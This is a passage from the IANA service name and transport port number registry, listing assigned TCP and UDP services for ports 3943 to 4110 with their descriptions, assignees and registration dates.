tig 3943 udp TetraNode Ip Gateway [B_van_Klinken] [B_van_Klinken] 2003-12
sops 3944 tcp S-Ops Management [Stefan_Hochuli] [Stefan_Hochuli] 2003-12
sops 3944 udp S-Ops Management [Stefan_Hochuli] [Stefan_Hochuli] 2003-12
emcads 3945 tcp EMCADS Server Port [Lars_Struwe_Christen] [Lars_Struwe_Christen] 2004-01
emcads 3945 udp EMCADS Server Port [Lars_Struwe_Christen] [Lars_Struwe_Christen] 2004-01
backupedge 3946 tcp BackupEDGE Server [Microlite_Corporation] [D_Thomas_Podnar] 2004-06
backupedge 3946 udp BackupEDGE Server [Microlite_Corporation] [D_Thomas_Podnar] 2004-06
Connect and Control Protocol
ccp 3947 tcp for Consumer, Commercial, [Aaron_Myer] [Aaron_Myer] 2004-06
and Industrial Electronic
Devices
Connect and Control Protocol
ccp 3947 udp for Consumer, Commercial, [Aaron_Myer] [Aaron_Myer] 2004-06
and Industrial Electronic
Devices
apdap 3948 tcp Anton Paar Device [Martin_Leitner] [Martin_Leitner] 2004-06
Administration Protocol
apdap 3948 udp Anton Paar Device [Martin_Leitner] [Martin_Leitner] 2004-06
Administration Protocol
drip 3949 tcp Dynamic Routing Information [Dana_Blair] [Dana_Blair] 2004-06
Protocol
drip 3949 udp Dynamic Routing Information [Dana_Blair] [Dana_Blair] 2004-06
Protocol
namemunge 3950 tcp Name Munging [John_C_Klensin] [John_C_Klensin] 2004-07
namemunge 3950 udp Name Munging [John_C_Klensin] [John_C_Klensin] 2004-07
pwgippfax 3951 tcp PWG IPP Facsimile [Ira_McDonald] [Ira_McDonald] 2004-08
pwgippfax 3951 udp PWG IPP Facsimile [Ira_McDonald] [Ira_McDonald] 2004-08
i3-sessionmgr 3952 tcp I3 Session Manager [Mike_Gagle_2] [Mike_Gagle_2] 2004-08
i3-sessionmgr 3952 udp I3 Session Manager [Mike_Gagle_2] [Mike_Gagle_2] 2004-08
xmlink-connect 3953 tcp Eydeas XMLink Connect [David_Crewson] [David_Crewson] 2004-09
xmlink-connect 3953 udp Eydeas XMLink Connect [David_Crewson] [David_Crewson] 2004-09
adrep 3954 tcp AD Replication RPC [Robert_Ball] [Robert_Ball] 2008-03-26
adrep 3954 udp AD Replication RPC [Robert_Ball] [Robert_Ball] 2008-03-26
p2pcommunity 3955 tcp p2pCommunity [Tiago_Bittencourt_Si] [Tiago_Bittencourt_Si] 2005-08
p2pcommunity 3955 udp p2pCommunity [Tiago_Bittencourt_Si] [Tiago_Bittencourt_Si] 2005-08
gvcp 3956 tcp GigE Vision Control [Eric_Carey] [Eric_Carey] 2005-08
gvcp 3956 udp GigE Vision Control [Eric_Carey] [Eric_Carey] 2005-08
mqe-broker 3957 tcp MQEnterprise Broker
mqe-broker 3957 udp MQEnterprise Broker
mqe-agent 3958 tcp MQEnterprise Agent [Bob_Lauria] [Bob_Lauria] 2005-08
mqe-agent 3958 udp MQEnterprise Agent [Bob_Lauria] [Bob_Lauria] 2005-08
treehopper 3959 tcp Tree Hopper Networking [Gary_Whelan] [Gary_Whelan] 2005-08
treehopper 3959 udp Tree Hopper Networking [Gary_Whelan] [Gary_Whelan] 2005-08
bess 3960 tcp Bess Peer Assessment [Peter_Verdon] [Peter_Verdon] 2005-08
bess 3960 udp Bess Peer Assessment [Peter_Verdon] [Peter_Verdon] 2005-08
proaxess 3961 tcp ProAxess Server [Jonas_Ahlqvist] [Jonas_Ahlqvist] 2005-08
proaxess 3961 udp ProAxess Server [Jonas_Ahlqvist] [Jonas_Ahlqvist] 2005-08
sbi-agent 3962 tcp SBI Agent Protocol [Yossi_Appleboum_2] [Yossi_Appleboum_2] 2005-08
sbi-agent 3962 udp SBI Agent Protocol [Yossi_Appleboum_2] [Yossi_Appleboum_2] 2005-08
thrp 3963 tcp Teran Hybrid Routing [Spencer_Teran] [Spencer_Teran] 2005-08
Protocol
thrp 3963 udp Teran Hybrid Routing [Spencer_Teran] [Spencer_Teran] 2005-08
Protocol
sasggprs 3964 tcp SASG GPRS [Cristian_Petculescu_3] [Cristian_Petculescu_3] 2005-08
sasggprs 3964 udp SASG GPRS [Cristian_Petculescu_3] [Cristian_Petculescu_3] 2005-08
ati-ip-to-ncpe 3965 tcp Avanti IP to NCPE API [Steve_Meyer_Sr] [Steve_Meyer_Sr] 2005-08
ati-ip-to-ncpe 3965 udp Avanti IP to NCPE API [Steve_Meyer_Sr] [Steve_Meyer_Sr] 2005-08
bflckmgr 3966 tcp BuildForge Lock Manager [Joe_Senner] [Joe_Senner] 2005-08
bflckmgr 3966 udp BuildForge Lock Manager [Joe_Senner] [Joe_Senner] 2005-08
ppsms 3967 tcp PPS Message Service [Bart_Schaefer] [Bart_Schaefer] 2005-08
ppsms 3967 udp PPS Message Service [Bart_Schaefer] [Bart_Schaefer] 2005-08
ianywhere-dbns 3968 tcp iAnywhere DBNS [Graeme_Perrow] [Graeme_Perrow] 2005-08
ianywhere-dbns 3968 udp iAnywhere DBNS [Graeme_Perrow] [Graeme_Perrow] 2005-08
landmarks 3969 tcp Landmark Messages [Petri_Rauhala] [Petri_Rauhala] 2005-08
landmarks 3969 udp Landmark Messages [Petri_Rauhala] [Petri_Rauhala] 2005-08
Defined TXT keys:
txtvers
lanrevagent 3970 tcp LANrev Agent [Martin_Bestmann_3] [Martin_Bestmann_3] server=<main LANrev server for agent>
vers=<version of LANrev Agent>
build=<build number of LANrev Agent>
id=<agent identifier>
Defined TXT keys:
txtvers
lanrevagent 3970 udp LANrev Agent [Martin_Bestmann_3] [Martin_Bestmann_3] server=<main LANrev server for agent>
vers=<version of LANrev Agent>
build=<build number of LANrev Agent>
id=<agent identifier>
lanrevserver 3971 tcp LANrev Server [Martin_Bestmann_3] [Martin_Bestmann_3] 2005-08
lanrevserver 3971 udp LANrev Server [Martin_Bestmann_3] [Martin_Bestmann_3] 2005-08
iconp 3972 tcp ict-control Protocol [Roel_Harbers] [Roel_Harbers] 2005-08
iconp 3972 udp ict-control Protocol [Roel_Harbers] [Roel_Harbers] 2005-08
progistics 3973 tcp ConnectShip Progistics [Jeff_Skaistis] [Jeff_Skaistis] 2005-08
progistics 3973 udp ConnectShip Progistics [Jeff_Skaistis] [Jeff_Skaistis] 2005-08
citysearch 3974 tcp Remote Applicant Tracking [Marc_Castelluccio] [Marc_Castelluccio] 2005-08
Service
citysearch 3974 udp Remote Applicant Tracking [Marc_Castelluccio] [Marc_Castelluccio] 2005-08
Service
airshot 3975 tcp Air Shot [Shingo_Kimura] [Shingo_Kimura] 2005-08
airshot 3975 udp Air Shot [Shingo_Kimura] [Shingo_Kimura] 2005-08
opswagent 3976 tcp Server Automation Agent [Hewlett_Packard_Enterprise] [Cristi_Fati] 2016-04-14
opswagent 3976 udp Server Automation Agent [Hewlett_Packard_Enterprise] [Cristi_Fati] 2016-04-14
opswmanager 3977 tcp Opsware Manager [Dave_Jagoda] [Dave_Jagoda] 2006-06
opswmanager 3977 udp Opsware Manager [Dave_Jagoda] [Dave_Jagoda] 2006-06
secure-cfg-svr 3978 tcp Secured Configuration Server [Dr_Anupam_Bharali] [Dr_Anupam_Bharali] 2006-06
secure-cfg-svr 3978 udp Secured Configuration Server [Dr_Anupam_Bharali] [Dr_Anupam_Bharali] 2006-06
smwan 3979 tcp Smith Micro Wide Area [David_Sperling] [David_Sperling] 2006-06
Network Service
smwan 3979 udp Smith Micro Wide Area [David_Sperling] [David_Sperling] 2006-06
Network Service
acms 3980 tcp Aircraft Cabin Management [Dustin_Zack] [Dustin_Zack] 2006-06
System
acms 3980 udp Aircraft Cabin Management [Dustin_Zack] [Dustin_Zack] 2006-06
System
starfish 3981 tcp Starfish System Admin [Dan_Razzell] [Dan_Razzell] 2006-06
starfish 3981 udp Starfish System Admin [Dan_Razzell] [Dan_Razzell] 2006-06
eis 3982 tcp ESRI Image Server
eis 3982 udp ESRI Image Server
eisp 3983 tcp ESRI Image Service [Keith_Ryden] [Keith_Ryden] 2006-07
eisp 3983 udp ESRI Image Service [Keith_Ryden] [Keith_Ryden] 2006-07
mapper-nodemgr 3984 tcp MAPPER network node manager
mapper-nodemgr 3984 udp MAPPER network node manager
mapper-mapethd 3985 tcp MAPPER TCP/IP server
mapper-mapethd 3985 udp MAPPER TCP/IP server
MAPPER workstation server
mapper-ws-ethd 3986 tcp IANA assigned this [John_C_Horton] [John_C_Horton]
well-formed service name as
a replacement for
"mapper-ws_ethd".
This entry is an alias to "mapper-ws-ethd". This entry is now
mapper-ws_ethd 3986 tcp MAPPER workstation server [John_C_Horton] [John_C_Horton] historic, not usable for use with many common service
discovery mechanisms.
MAPPER workstation server
mapper-ws-ethd 3986 udp IANA assigned this [John_C_Horton] [John_C_Horton]
well-formed service name as
a replacement for
"mapper-ws_ethd".
This entry is an alias to "mapper-ws-ethd". This entry is now
mapper-ws_ethd 3986 udp MAPPER workstation server [John_C_Horton] [John_C_Horton] historic, not usable for use with many common service
discovery mechanisms.
centerline 3987 tcp Centerline [Mark_Simpson] [Mark_Simpson]
centerline 3987 udp Centerline [Mark_Simpson] [Mark_Simpson]
dcs-config 3988 tcp DCS Configuration Port [Ian_Cargill] [Ian_Cargill] 2005-08
dcs-config 3988 udp DCS Configuration Port [Ian_Cargill] [Ian_Cargill] 2005-08
bv-queryengine 3989 tcp BindView-Query Engine
bv-queryengine 3989 udp BindView-Query Engine
bv-is 3990 tcp BindView-IS
bv-is 3990 udp BindView-IS
bv-smcsrv 3991 tcp BindView-SMCServer
bv-smcsrv 3991 udp BindView-SMCServer
bv-ds 3992 tcp BindView-DirectoryServer
bv-ds 3992 udp BindView-DirectoryServer
bv-agent 3993 tcp BindView-Agent [David_A_Gayler] [David_A_Gayler] 2005-08
bv-agent 3993 udp BindView-Agent [David_A_Gayler] [David_A_Gayler] 2005-08
3994 Unassigned 2008-04-24
iss-mgmt-ssl 3995 tcp ISS Management Svcs SSL [Wes_Wilson] [Wes_Wilson] 2003-10
iss-mgmt-ssl 3995 udp ISS Management Svcs SSL [Wes_Wilson] [Wes_Wilson] 2003-10
abcsoftware 3996 tcp abcsoftware-01 [Andrew_Zimmerman] [Andrew_Zimmerman] 2004-06
abcsoftware 3996 udp abcsoftware-01 [Andrew_Zimmerman] [Andrew_Zimmerman] 2004-06
agentsease-db 3997 tcp aes_db [Colin_Hughes] [Colin_Hughes] 2006-02
agentsease-db 3997 udp aes_db [Colin_Hughes] [Colin_Hughes] 2006-02
dnx 3998 tcp Distributed Nagios Executor [John_Calcote] [John_Calcote] 2007-11-06
Service
dnx 3998 udp Distributed Nagios Executor [John_Calcote] [John_Calcote] 2007-11-06
Service
nvcnet 3999 tcp Norman distributes scanning [Kristian_A_Bognaes] [Kristian_A_Bognaes] 2007-11-06
service
nvcnet 3999 udp Norman distributes scanning [Kristian_A_Bognaes] [Kristian_A_Bognaes] 2007-11-06
service
terabase 4000 tcp Terabase [Thor_Olson] [Thor_Olson] Potential Conflict of ports PORT 4000 also used by ICQ
<www.icq.com>
terabase 4000 udp Terabase [Thor_Olson] [Thor_Olson] Potential Conflict of ports PORT 4000 also used by ICQ
<www.icq.com>
newoak 4001 tcp NewOak [Jim_Philippou] [Jim_Philippou]
newoak 4001 udp NewOak [Jim_Philippou] [Jim_Philippou]
pxc-spvr-ft 4002 tcp pxc-spvr-ft
pxc-spvr-ft 4002 udp pxc-spvr-ft
pxc-splr-ft 4003 tcp pxc-splr-ft
pxc-splr-ft 4003 udp pxc-splr-ft
pxc-roid 4004 tcp pxc-roid
pxc-roid 4004 udp pxc-roid
pxc-pin 4005 tcp pxc-pin
pxc-pin 4005 udp pxc-pin
pxc-spvr 4006 tcp pxc-spvr
pxc-spvr 4006 udp pxc-spvr
pxc-splr 4007 tcp pxc-splr [Dave_Nesbitt] [Dave_Nesbitt]
pxc-splr 4007 udp pxc-splr [Dave_Nesbitt] [Dave_Nesbitt]
netcheque 4008 tcp NetCheque accounting [B_Clifford_Neuman] [B_Clifford_Neuman]
netcheque 4008 udp NetCheque accounting [B_Clifford_Neuman] [B_Clifford_Neuman]
chimera-hwm 4009 tcp Chimera HWM [Ken_Anderson] [Ken_Anderson]
chimera-hwm 4009 udp Chimera HWM [Ken_Anderson] [Ken_Anderson]
samsung-unidex 4010 tcp Samsung Unidex [Konstantin_V_Vyazni] [Konstantin_V_Vyazni]
samsung-unidex 4010 udp Samsung Unidex [Konstantin_V_Vyazni] [Konstantin_V_Vyazni]
altserviceboot 4011 tcp Alternate Service Boot [Eric_Dittert] [Eric_Dittert]
altserviceboot 4011 udp Alternate Service Boot [Eric_Dittert] [Eric_Dittert]
pda-gate 4012 tcp PDA Gate [Masakuni_Okada] [Masakuni_Okada]
pda-gate 4012 udp PDA Gate [Masakuni_Okada] [Masakuni_Okada]
acl-manager 4013 tcp ACL Manager [Toru_Murai] [Toru_Murai]
acl-manager 4013 udp ACL Manager [Toru_Murai] [Toru_Murai]
taiclock 4014 tcp TAICLOCK [D_J_Bernstein] [D_J_Bernstein] 2018-04-05
taiclock 4014 udp TAICLOCK [D_J_Bernstein] [D_J_Bernstein] 2018-04-05
talarian-mcast1 4015 tcp Talarian Mcast
talarian-mcast1 4015 udp Talarian Mcast
talarian-mcast2 4016 tcp Talarian Mcast
talarian-mcast2 4016 udp Talarian Mcast
talarian-mcast3 4017 tcp Talarian Mcast
talarian-mcast3 4017 udp Talarian Mcast
talarian-mcast4 4018 tcp Talarian Mcast
talarian-mcast4 4018 udp Talarian Mcast
talarian-mcast5 4019 tcp Talarian Mcast [Geoff_Mendal] [Geoff_Mendal]
talarian-mcast5 4019 udp Talarian Mcast [Geoff_Mendal] [Geoff_Mendal]
trap 4020 tcp TRAP Port [Jeffrey_C_Byrd] [Jeffrey_C_Byrd]
trap 4020 udp TRAP Port [Jeffrey_C_Byrd] [Jeffrey_C_Byrd]
nexus-portal 4021 tcp Nexus Portal [Damian_Tarnawsky] [Damian_Tarnawsky]
nexus-portal 4021 udp Nexus Portal [Damian_Tarnawsky] [Damian_Tarnawsky]
dnox 4022 tcp DNOX [Leo_Rathnayake] [Leo_Rathnayake]
dnox 4022 udp DNOX [Leo_Rathnayake] [Leo_Rathnayake]
esnm-zoning 4023 tcp ESNM Zoning Port [Yong_Cai] [Yong_Cai]
esnm-zoning 4023 udp ESNM Zoning Port [Yong_Cai] [Yong_Cai]
tnp1-port 4024 tcp TNP1 User Port [Tony_Gibbs] [Tony_Gibbs]
tnp1-port 4024 udp TNP1 User Port [Tony_Gibbs] [Tony_Gibbs]
partimage 4025 tcp Partition Image Port [Franck_Ladurelle] [Franck_Ladurelle]
partimage 4025 udp Partition Image Port [Franck_Ladurelle] [Franck_Ladurelle]
as-debug 4026 tcp Graphical Debug Server [Steve_Halverson] [Steve_Halverson]
as-debug 4026 udp Graphical Debug Server [Steve_Halverson] [Steve_Halverson]
bxp 4027 tcp bitxpress [Morgan_Doyle] [Morgan_Doyle]
bxp 4027 udp bitxpress [Morgan_Doyle] [Morgan_Doyle]
dtserver-port 4028 tcp DTServer Port [Stephen_Aikins] [Stephen_Aikins]
dtserver-port 4028 udp DTServer Port [Stephen_Aikins] [Stephen_Aikins]
ip-qsig 4029 tcp IP Q signaling protocol [Toru_Tachibana] [Toru_Tachibana]
ip-qsig 4029 udp IP Q signaling protocol [Toru_Tachibana] [Toru_Tachibana]
jdmn-port 4030 tcp Accell/JSP Daemon Port [Daegis_Inc] [Chris_Anderson] 2012-07-12
jdmn-port 4030 udp Accell/JSP Daemon Port [Daegis_Inc] [Chris_Anderson] 2012-07-12
suucp 4031 tcp UUCP over SSL [Harald_Welte] [Harald_Welte]
suucp 4031 udp UUCP over SSL [Harald_Welte] [Harald_Welte]
vrts-auth-port 4032 tcp VERITAS Authorization [Stefan_Winkel] [Stefan_Winkel]
Service
vrts-auth-port 4032 udp VERITAS Authorization [Stefan_Winkel] [Stefan_Winkel]
Service
sanavigator 4033 tcp SANavigator Peer Port [Robert_J_Chansler] [Robert_J_Chansler]
sanavigator 4033 udp SANavigator Peer Port [Robert_J_Chansler] [Robert_J_Chansler]
ubxd 4034 tcp Ubiquinox Daemon [Kit_Smithers] [Kit_Smithers]
ubxd 4034 udp Ubiquinox Daemon [Kit_Smithers] [Kit_Smithers]
wap-push-http 4035 tcp WAP Push OTA-HTTP port
wap-push-http 4035 udp WAP Push OTA-HTTP port
wap-push-https 4036 tcp WAP Push OTA-HTTP secure [Matthieu_Lachance] [Matthieu_Lachance]
wap-push-https 4036 udp WAP Push OTA-HTTP secure [Matthieu_Lachance] [Matthieu_Lachance]
ravehd 4037 tcp RaveHD network control [Jason_Howard] [Jason_Howard] 2006-01
ravehd 4037 udp RaveHD network control [Jason_Howard] [Jason_Howard] 2006-01
fazzt-ptp 4038 tcp Fazzt Point-To-Point
fazzt-ptp 4038 udp Fazzt Point-To-Point
fazzt-admin 4039 tcp Fazzt Administration [Lewis_Wolfgang] [Lewis_Wolfgang] 2006-05
fazzt-admin 4039 udp Fazzt Administration [Lewis_Wolfgang] [Lewis_Wolfgang] 2006-05
yo-main 4040 tcp Yo.net main service [John_Tintor] [John_Tintor]
yo-main 4040 udp Yo.net main service [John_Tintor] [John_Tintor]
houston 4041 tcp Rocketeer-Houston [Johnny_C_Norris_II] [Johnny_C_Norris_II]
houston 4041 udp Rocketeer-Houston [Johnny_C_Norris_II] [Johnny_C_Norris_II]
ldxp 4042 tcp LDXP [Craig_Calef] [Craig_Calef]
ldxp 4042 udp LDXP [Craig_Calef] [Craig_Calef]
nirp 4043 tcp Neighbour Identity
Resolution
nirp 4043 udp Neighbour Identity
Resolution
ltp 4044 tcp Location Tracking Protocol
ltp 4044 udp Location Tracking Protocol
Known
npp 4045 tcp Network Paging Protocol UNAUTHORIZED
USE: Port
4045
Known
npp 4045 udp Network Paging Protocol UNAUTHORIZED
USE: Port
4045
acp-proto 4046 tcp Accounting Protocol
acp-proto 4046 udp Accounting Protocol
ctp-state 4047 tcp Context Transfer Protocol [Hesham_Soliman] [Hesham_Soliman] 2005-11
ctp-state 4047 udp Context Transfer Protocol [Hesham_Soliman] [Hesham_Soliman] 2005-11
4048 Unassigned 2008-04-24
wafs 4049 tcp Wide Area File Services [Yuval_Hager] [Yuval_Hager] 2006-01
wafs 4049 udp Wide Area File Services [Yuval_Hager] [Yuval_Hager] 2006-01
cisco-wafs 4050 tcp Wide Area File Services [Etai_Lev_Ran] [Etai_Lev_Ran] 2005-02
cisco-wafs 4050 udp Wide Area File Services [Etai_Lev_Ran] [Etai_Lev_Ran] 2005-02
cppdp 4051 tcp Cisco Peer to Peer [Susan_Sauter] [Susan_Sauter] 2006-07
Distribution Protocol
cppdp 4051 udp Cisco Peer to Peer [Susan_Sauter] [Susan_Sauter] 2006-07
Distribution Protocol
interact 4052 tcp VoiceConnect Interact [Jonathan_Custance] [Jonathan_Custance] 2006-07
interact 4052 udp VoiceConnect Interact [Jonathan_Custance] [Jonathan_Custance] 2006-07
ccu-comm-1 4053 tcp CosmoCall Universe
Communications Port 1
ccu-comm-1 4053 udp CosmoCall Universe
Communications Port 1
ccu-comm-2 4054 tcp CosmoCall Universe
Communications Port 2
ccu-comm-2 4054 udp CosmoCall Universe
Communications Port 2
ccu-comm-3 4055 tcp CosmoCall Universe [Steve_Dellutri_2] [Steve_Dellutri_2] 2006-07
Communications Port 3
ccu-comm-3 4055 udp CosmoCall Universe [Steve_Dellutri_2] [Steve_Dellutri_2] 2006-07
Communications Port 3
lms 4056 tcp Location Message Service [Sergey_Burnevsky] [Sergey_Burnevsky] 2006-08
lms 4056 udp Location Message Service [Sergey_Burnevsky] [Sergey_Burnevsky] 2006-08
wfm 4057 tcp Servigistics WFM server [Yuri_Machkasov_2] [Yuri_Machkasov_2] 2006-08
wfm 4057 udp Servigistics WFM server [Yuri_Machkasov_2] [Yuri_Machkasov_2] 2006-08
kingfisher 4058 tcp Kingfisher protocol [Vaughan_Wesson] [Vaughan_Wesson] 2006-10
kingfisher 4058 udp Kingfisher protocol [Vaughan_Wesson] [Vaughan_Wesson] 2006-10
dlms-cosem 4059 tcp DLMS/COSEM [Gyozo_Kmethy] [Gyozo_Kmethy] 2006-11
dlms-cosem 4059 udp DLMS/COSEM [Gyozo_Kmethy] [Gyozo_Kmethy] 2006-11
DSMETER Inter-Agent Transfer
Channel
dsmeter-iatc 4060 tcp IANA assigned this [John_McCann] [John_McCann] 2006-12
well-formed service name as
a replacement for
"dsmeter_iatc".
DSMETER Inter-Agent Transfer This entry is an alias to "dsmeter-iatc". This entry is now
dsmeter_iatc 4060 tcp Channel [John_McCann] [John_McCann] 2006-12 historic, not usable for use with many common service
discovery mechanisms.
DSMETER Inter-Agent Transfer
Channel
dsmeter-iatc 4060 udp IANA assigned this [John_McCann] [John_McCann] 2006-12
well-formed service name as
a replacement for
"dsmeter_iatc".
DSMETER Inter-Agent Transfer This entry is an alias to "dsmeter-iatc". This entry is now
dsmeter_iatc 4060 udp Channel [John_McCann] [John_McCann] 2006-12 historic, not usable for use with many common service
discovery mechanisms.
ice-location 4061 tcp Ice Location Service (TCP)
ice-location 4061 udp Ice Location Service (TCP)
ice-slocation 4062 tcp Ice Location Service (SSL)
ice-slocation 4062 udp Ice Location Service (SSL)
ice-router 4063 tcp Ice Firewall Traversal
Service (TCP)
ice-router 4063 udp Ice Firewall Traversal
Service (TCP)
ice-srouter 4064 tcp Ice Firewall Traversal [Bernard_Normier] [Bernard_Normier] 2006-12
Service (SSL)
ice-srouter 4064 udp Ice Firewall Traversal [Bernard_Normier] [Bernard_Normier] 2006-12
Service (SSL)
Avanti Common Data
avanti-cdp 4065 tcp IANA assigned this [Steve_Meyer_Sr] [Steve_Meyer_Sr] 2007-02
well-formed service name as
a replacement for
"avanti_cdp".
This entry is an alias to "avanti-cdp". This entry is now
avanti_cdp 4065 tcp Avanti Common Data [Steve_Meyer_Sr] [Steve_Meyer_Sr] 2007-02 historic, not usable for use with many common service
discovery mechanisms.
Avanti Common Data
avanti-cdp 4065 udp IANA assigned this [Steve_Meyer_Sr] [Steve_Meyer_Sr] 2007-02
well-formed service name as
a replacement for
"avanti_cdp".
This entry is an alias to "avanti-cdp". This entry is now
avanti_cdp 4065 udp Avanti Common Data [Steve_Meyer_Sr] [Steve_Meyer_Sr] 2007-02 historic, not usable for use with many common service
discovery mechanisms.
pmas 4066 tcp Performance Measurement and [Zenon_Fortuna] [Zenon_Fortuna] 2007-02
Analysis
pmas 4066 udp Performance Measurement and [Zenon_Fortuna] [Zenon_Fortuna] 2007-02
Analysis
idp 4067 tcp Information Distribution [Michaela_Vanderveen] [Michaela_Vanderveen] 2007-02
Protocol
idp 4067 udp Information Distribution [Michaela_Vanderveen] [Michaela_Vanderveen] 2007-02
Protocol
ipfltbcst 4068 tcp IP Fleet Broadcast [Trung_Huu_Tran] [Trung_Huu_Tran] 2007-03
ipfltbcst 4068 udp IP Fleet Broadcast [Trung_Huu_Tran] [Trung_Huu_Tran] 2007-03
minger 4069 tcp Minger Email Address [Arvel_Hathcock] [Arvel_Hathcock] 2007-03
Validation Service
minger 4069 udp Minger Email Address [Arvel_Hathcock] [Arvel_Hathcock] 2007-03
Validation Service
tripe 4070 tcp Trivial IP Encryption [Mark_Wooding] [Mark_Wooding] 2007-07-10
(TrIPE)
tripe 4070 udp Trivial IP Encryption [Mark_Wooding] [Mark_Wooding] 2007-07-10
(TrIPE)
aibkup 4071 tcp Automatically Incremental [Volker_Wiegand] [Volker_Wiegand] 2007-07-10
Backup
aibkup 4071 udp Automatically Incremental [Volker_Wiegand] [Volker_Wiegand] 2007-07-10
Backup
zieto-sock 4072 tcp Zieto Socket Communications [Malcolm_McLean] [Malcolm_McLean] 2007-07-19
zieto-sock 4072 udp Zieto Socket Communications [Malcolm_McLean] [Malcolm_McLean] 2007-07-19
iRAPP 4073 tcp Interactive Remote [Volodymyr_Bykov] [Volodymyr_Bykov] 2007-08-20 2016-11-23
Application Pairing Protocol
iRAPP 4073 udp Interactive Remote [Volodymyr_Bykov] [Volodymyr_Bykov] 2007-08-20 2016-11-23
Application Pairing Protocol
cequint-cityid 4074 tcp Cequint City ID UI trigger [Phill_Goeckler] [Phill_Goeckler] 2007-08-20
cequint-cityid 4074 udp Cequint City ID UI trigger [Phill_Goeckler] [Phill_Goeckler] 2007-08-20
perimlan 4075 tcp ISC Alarm Message Service [Bernie_Malkowski] [Bernie_Malkowski] 2007-08-20
perimlan 4075 udp ISC Alarm Message Service [Bernie_Malkowski] [Bernie_Malkowski] 2007-08-20
seraph 4076 tcp Seraph DCS [Jason_Spence] [Jason_Spence] 2008-01-22
seraph 4076 udp Seraph DCS [Jason_Spence] [Jason_Spence] 2008-01-22
4077 tcp Reserved
ascomalarm 4077 udp Ascom IP Alarming [Ascom_Austria_GmbH] [Ascom_Austria_GmbH] 2008-05-01
cssp 4078 tcp Coordinated Security Service [Michael_McDaniels] [Michael_McDaniels] 2008-05-01
Protocol
4078 udp Reserved
santools 4079 tcp SANtools Diagnostic Server [David_A_Lethe_2] [David_A_Lethe_2] 2008-05-01
santools 4079 udp SANtools Diagnostic Server [David_A_Lethe_2] [David_A_Lethe_2] 2008-05-01
lorica-in 4080 tcp Lorica inside facing
lorica-in 4080 udp Lorica inside facing
lorica-in-sec 4081 tcp Lorica inside facing (SSL)
lorica-in-sec 4081 udp Lorica inside facing (SSL)
lorica-out 4082 tcp Lorica outside facing
lorica-out 4082 udp Lorica outside facing
lorica-out-sec 4083 tcp Lorica outside facing (SSL) [Johannes_Skov_Frands] [Johannes_Skov_Frands] 2008-02-28
lorica-out-sec 4083 udp Lorica outside facing (SSL) [Johannes_Skov_Frands] [Johannes_Skov_Frands] 2008-02-28
4084 tcp Reserved
fortisphere-vm 4084 udp Fortisphere VM Service [Daniel_Becker_4] [Daniel_Becker_4] 2008-06-03
ezmessagesrv 4085 tcp EZNews Newsroom Message [Gerald_R_Jensen] [Gerald_R_Jensen] 2008-06-05
Service
4085 udp Reserved
4086 tcp Reserved
ftsync 4086 udp Firewall/NAT state table [Heiner_Erne] [Heiner_Erne] 2008-06-06
synchronization
applusservice 4087 tcp APplus Service [Thomas_Boerkel] [Thomas_Boerkel] 2008-06-05
4087 udp Reserved
npsp 4088 tcp Noah Printing Service [Hiromi_Ohara] [Hiromi_Ohara] 2008-06-18
Protocol
4088 udp Reserved
opencore 4089 tcp OpenCORE Remote Control [Pim_van_Riezen] [Pim_van_Riezen] 2006-07
Service
opencore 4089 udp OpenCORE Remote Control [Pim_van_Riezen] [Pim_van_Riezen] 2006-07
Service
omasgport 4090 tcp OMA BCAST Service Guide [Mark_Lipford] [Mark_Lipford] 2006-07
omasgport 4090 udp OMA BCAST Service Guide [Mark_Lipford] [Mark_Lipford] 2006-07
ewinstaller 4091 tcp EminentWare Installer
ewinstaller 4091 udp EminentWare Installer
ewdgs 4092 tcp EminentWare DGS [David_A_Gayler_2] [David_A_Gayler_2] 2006-07
ewdgs 4092 udp EminentWare DGS [David_A_Gayler_2] [David_A_Gayler_2] 2006-07
pvxpluscs 4093 tcp Pvx Plus CS Host [Michael_King] [Michael_King] 2006-07
pvxpluscs 4093 udp Pvx Plus CS Host [Michael_King] [Michael_King] 2006-07
sysrqd 4094 tcp sysrq daemon [Julien_Danjou] [Julien_Danjou] 2006-07
sysrqd 4094 udp sysrq daemon [Julien_Danjou] [Julien_Danjou] 2006-07
xtgui 4095 tcp xtgui information service [Jim_Robanske] [Jim_Robanske] 2006-05
xtgui 4095 udp xtgui information service [Jim_Robanske] [Jim_Robanske] 2006-05
bre 4096 tcp BRE (Bridge Relay Element) [Stephen_Egbert] [Stephen_Egbert]
bre 4096 udp BRE (Bridge Relay Element) [Stephen_Egbert] [Stephen_Egbert]
patrolview 4097 tcp Patrol View [Portnoy_Boxman] [Portnoy_Boxman]
patrolview 4097 udp Patrol View [Portnoy_Boxman] [Portnoy_Boxman]
drmsfsd 4098 tcp drmsfsd [Masao_Iwai] [Masao_Iwai]
drmsfsd 4098 udp drmsfsd [Masao_Iwai] [Masao_Iwai]
dpcp 4099 tcp DPCP [John_Croft] [John_Croft]
dpcp 4099 udp DPCP [John_Croft] [John_Croft]
igo-incognito 4100 tcp IGo Incognito Data Port [Paul_Reddy_2] [Paul_Reddy_2] 2002-02
igo-incognito 4100 udp IGo Incognito Data Port [Paul_Reddy_2] [Paul_Reddy_2] 2002-02
brlp-0 4101 tcp Braille protocol
brlp-0 4101 udp Braille protocol
brlp-1 4102 tcp Braille protocol
brlp-1 4102 udp Braille protocol
brlp-2 4103 tcp Braille protocol
brlp-2 4103 udp Braille protocol
brlp-3 4104 tcp Braille protocol [Sebastien_Hinderer] [Sebastien_Hinderer] 2006-03
brlp-3 4104 udp Braille protocol [Sebastien_Hinderer] [Sebastien_Hinderer] 2006-03
shofar 4105 tcp Shofar [ShofarNexus] [John_Kozlowski] 2006-07 2012-02-20
shofar 4105 udp Shofar [ShofarNexus] [John_Kozlowski] 2006-07 2012-02-20
synchronite 4106 tcp Synchronite [James_Figgins] [James_Figgins] 2006-07
synchronite 4106 udp Synchronite [James_Figgins] [James_Figgins] 2006-07
j-ac 4107 tcp JDL Accounting LAN Service [Takashi_Sahara] [Takashi_Sahara] 2006-09
j-ac 4107 udp JDL Accounting LAN Service [Takashi_Sahara] [Takashi_Sahara] 2006-09
accel 4108 tcp ACCEL [Masahiro_Koiwai] [Masahiro_Koiwai] 2006-10
accel 4108 udp ACCEL [Masahiro_Koiwai] [Masahiro_Koiwai] 2006-10
izm 4109 tcp Instantiated Zero-control [David_Miller] [David_Miller] 2007-02
Messaging
izm 4109 udp Instantiated Zero-control [David_Miller] [David_Miller] 2007-02
Messaging
g2tag 4110 tcp G2 RFID Tag Telemetry Data [David_Goodall] [David_Goodall] 2007-02
